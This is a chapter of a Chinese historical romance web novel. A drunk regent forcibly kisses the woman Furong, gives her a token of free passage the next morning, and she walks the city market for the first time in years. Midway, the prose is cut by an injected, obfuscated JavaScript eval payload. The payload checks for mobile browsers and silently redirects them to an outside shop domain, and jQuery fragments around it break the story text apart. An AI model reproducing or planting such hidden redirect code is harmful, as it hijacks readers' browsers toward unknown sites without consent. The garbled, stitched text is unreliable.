她走过去蹲下来,伸手去解他领口那颗歪了的盘扣。
周业低头看着她的动作,目光有些迟钝地跟着她的手移动,像一只被顺了毛的大猫,懵的。芙蕖把他外袍褪下来搭在椅背上,又蹲下去帮他脱靴子,靴筒很紧,她拔了两下才拔下来。
他比她高出一个头还多,沉甸甸的压在她肩上,她半拖半架着才把人放平。他的发冠歪到一边,她伸手替他取下来放在床头小几上,散了一枕头的黑发。
她拉了被子给他盖好,又出去让楼下的厨房煮一碗醒酒汤。
回来时周业侧躺着,面朝墙壁,呼吸沉而绵长。她把醒酒汤搁在床头,推了推他的肩。
"把汤喝了再睡。"
他没睁眼,嘴里含混地嘟囔了一句什么,芙蕖靠近耳朵凑近听。
“别走——”
她顿了一下,然后端起汤碗给他喂,周业皱喝了两口便皱眉,不肯再喝了,然后头往枕头里埋进去,芙蕖拿他没办法。
即使是躺着,这个男人的眉还是微皱的,芙蕖指心轻落在他的眉心,轻轻抚平他的愁。当指腹蹭过他眉骨的一瞬,他的眼皮动了一下,像是要醒,但又迅速沉下去了。
芙蕖把手收回来,拢进袖子里。她坐在榻边没有走,望着窗台上那几本新送来的医书,月光照在书脊上,泛着冷冷的银白。
他给她送医书,他让人护着她。他喝了酒跑到她这儿来,说了那些不该说的话。
或许是醒酒汤的作用,周业忽然睁了眼。眼底还蒙着一层雾,酒气未散,可目光落在她脸上时定了一下,像认出了什么。
他一把攥住了她的腕子。
力气大得不像个醉了的人,芙蕖手里的汤碗脱了手,咣当一声滚落在地毯上,残余的汤汁洇开了一小片深色。
她被他拽得往前一倾,整个人撑在他胸膛上方,还没来得及稳住,他的另一只手已经扣住了她的后颈。
“你怎么......”
没等她反应过来挣脱,嘴唇就被男人带着烈气的吻堵上了。男人的唇粗粝地碾过她的唇角,没什么章法,像困兽循着本能咬住了什么就不肯松。
芙蕖的脊背猛地绷直了,使劲得又推又打他——隔着中衣她感应到,他胸脯下的心跳,在此刻灼热,又急又沉。
男女力量悬殊,他的力道很大,她好不容易偏开头,让他的嘴唇落在她颊边。她喘了一口气,声音有些发颤:"你看清面前的人是谁了吗?"
周业顿了一下,他的额头抵着她的太阳穴,眼皮很重地掀了掀,目光迷迷蒙蒙地聚了又散,散开又聚。他望着她看了好几息,喉结上下滚了一下,声音哑得像含了一把粗砂:"芙蕖。"
"是芙蕖。"
他又说了一遍,像在确认什么。然后他的手臂忽然收紧,把她整个人圈进了怀里,下巴抵在她发顶上,闷声说,"孤知道眼前的人是谁。"
这个夜对芙蕖来说,过的格外的漫长......
第二天芙蕖醒来后,回忆起昨晚上发生的事——她最担心的事情还是发生了。
更要命的是,她惊讶的发现,她并不难过,也不觉得后悔。
这个认知比昨晚的任何事都让她心慌。她躺了一会儿,听见周业的呼吸节奏变了——从沉长的均匀变成了浅而短的起伏,她知道他醒了。
周业没有立刻睁眼,他伸手揽上他的腰,指腹在被褥上蹭了一下,像是确认什么东西,然后才慢慢掀开眼皮。目光落在她露在被子外面的半张脸上,停了片刻,松开了手臂坐起来。
芙蕖也跟着坐起来,被子拢在胸前,垂着眼没看他。
她想问问他,他昨晚上向他倾诉对另一个女人的爱而不得后,又和她发生了关系——他究竟把她当什么了?
她等着他开口——或者等着他穿上衣服走人,以为他们之间像什么都没发生过一样。
"抬头。"
她的下额被男人抬起,此时的周业已经恢复清醒,穿戴齐整了,领口系得端端正正,又变回那个摄政王。
但他的目光落在她脸上时,跟从前不一样了,那层审视的、疏离的东西淡了些,底下露出一截别的东西,她看不太明白,只觉得烫。
只见他在她的手心按了一块令牌,铜制的,巴掌大小,正面刻着一个"业"字,背面的纹路透着光泽,还残存着那个男人的体温。
"拿着这个,"他说,"玄武城以内,凭它通行。想出门就出门,没人拦你。"
芙蕖看着那块令牌没动,她人身自由了吗?她终于可以出门了,不用整日闷在醉颜楼了。
令她感到意外的,还有男人的一句话——
"孤会对你负责的。"
怎么负责?她没有当真,也不敢当真。但她相信终有一天能够离开这醉颜楼,离开这份枷锁,重获自由和清白。
门开了又合上,他的脚步声沿着走廊往外,越来越轻,最后融进楼下院子里的晨杂声中。
芙蕖坐在床上,把令牌拿起来握在掌心里。铜面被他的体温焐过,还残留着一层浅浅的温热。她攥了一会儿,松开手翻来覆去地看,那个"业"字刻得极深,凹槽里磨得发亮。她下了床,把那块令牌系在自己腰间的带子上,沉甸甸地坠着,边走边摇晃出清脆的声响。
窗外有鸟叫,叫声脆生生的,像把天光啄开了。
那天下午,芙蕖自被囚禁后,第一次一个人走出了醉颜楼。
她换了一身寻常女子的衣裳,青灰色的布裙,头发用一根木簪绾着,跟街上任何一个小门小户的姑娘没什么区别。
身后不远处跟着两个便衣的护卫,不远不近地缀着,她知道,没回头看。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17869945|212006||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>街市上热闹得很。卖糖葫芦的、卖胭脂水粉的、卖手工绣品的摊子一个挨一个地排过去,吆喝声层层叠叠地涌上来。
她在一家卖荷花酥的铺子前站了一会儿,想了想,没买。又走过两个摊子,回头看了一眼,还是折回去买了半斤,用纸包着攥在手里。
付钱的时候护卫已经跟上来把账结了,她愣了一下,把荷包收回去,捏着纸包继续走。
那个男人也真是的,出街都还派人看着她。不过,他还挺大方的。
走过一家书铺时她停下来。铺子门口摆着几本旧医书,纸页泛黄,书脊上的字都磨淡了。她蹲下来翻了翻,老板说三文钱一本,她正要掏荷包,身后的护卫又递了钱过去。
她回头看了一眼,护卫面无表情地退回了三步远的位置,跟什么都没发生似的。
她拿着那本旧医书站起来,继续往前走。日光落在街面的青石板上,泛着暖融融的光,有小孩从她身边跑过去,手里举着一只纸风筝,线轴上的线一圈一圈地转。河边的柳树绿得正好,柳枝垂下来扫在水面上,一晃一晃的。
她走着走着,忽然停住了。
满街的嘈杂像潮水一样退远了。她站在街心,手里攥着一包荷花酥和一本旧医书,腰间的铜令牌沉沉地坠着,日光晒在脸上,暖得让人想眯眼。
她不记得时间已经过去多久了,她被关在醉颜楼那座四方的院子里快两年了。那里的窗户只能看见对面屋檐的灰瓦,听见的只有划拳声和酒盏碰碎的响。
她以为自己会烂在那里,烂成一堆没人记得的灰。
可她现在站在这里,站在阳光下,站在人堆里,想买什么就买什么,想去哪儿就去哪儿。
她低头看了看腰间的令牌。那个"业"字被日光晒得微微发烫,硌在掌心,实实在在的。
她想起昨夜的周业——那个醉得说话含混、像一座被搬空了家什的院子的男人。他在朝堂上被人恨着、忌惮着、骂着奸佞,可他给她送医书,给她立威护她周全,给她这块令牌,甚至还对她说——“我会对你负责的”。
她攥着令牌站了很久,久到护卫忍不住往前走了一步,她摆摆手示意没事,把荷花酥和医书拢进怀里,继续往前走了。
虽然此刻手中的荷花酥,比不上当年在府里吃的那些上品,但在此时此刻,芙蕖却觉它是自己吃到过最好的。
也许是岁月的磋磨,让她本来挑剔的脾气,变得宽容和知足了。
那天日光很好,河边的柳树绿得发亮。芙蕖从书铺出来,手里多了一本《金匮要略》,沿着河岸慢慢走。
边走她边想,她从前怎么没有发玄武城这么热闹有趣,以前让她置之不理的一砖一瓦,一花一草,在此刻都让她感到新奇。
正如牢笼里的鸟儿,被关的久了,看到外面的一些都会感到好奇。